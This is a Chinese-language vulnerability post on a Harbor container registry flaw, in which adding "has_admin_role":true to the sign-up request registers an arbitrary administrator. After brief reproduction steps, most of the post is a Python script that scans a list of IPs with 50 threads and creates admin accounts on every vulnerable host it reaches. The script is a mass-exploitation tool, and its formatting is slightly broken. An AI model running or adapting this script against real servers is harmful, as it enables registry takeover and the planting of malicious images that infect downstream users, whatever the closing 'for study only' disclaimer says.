0x01漏洞描述
Harbor 是一个用于存储和分发 Docker 镜像的企业级 Registry 服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源 Docker Distribution。作为一个企业级私有 Registry 服务器,Harbor 提供了更好的性能和安全。提升用户使用 Registry 构建和运行环境传输镜像的效率。Harbor 支持安装在多个 Registry 节点的镜像资源复制,镜像全部保存在私有 Registry 中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor 也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。
近日 Harbor 曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。攻击者可以通过注册管理员账号来接管 Harbor 镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。
0x02漏洞复现
访问Harbor网站,点击注册然后抓取post数据包
数据包后面加上:"has_admin_role":true
查看返回响应包、201代表成功
登录看看,发现好多人已经撸了- -
0x03 批量脚本
import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor
def exp(url):
url = url + '/api/users'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/json',
}
payload = {
"username": "test1",
"email": "test1@qq.com",
"realname": "test1",
"password": "Aa123456",
"comment": "test1",
"has_admin_role": True
}
payload = json.dumps(payload)
try:
requests.packages.urllib3.disable_warnings()
r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
if r.status_code == 201:
print(url)
except Exception as e:
pass
if name == 'main':
data = open('ip.txt') # 批量IP
reader = csv.reader(data)
# 50是线程
with ThreadPoolExecutor(50) as pool:
for row in reader:
if 'http' not in row[0]:
url = 'http://' + row[0]
else:
url = row[0]
pool.submit(exp, url)
username,email,realname,password,comment参数自行修改,成功后会打印出URL。
仅供技术学习交流、请勿用于非法行为、否则后果自负。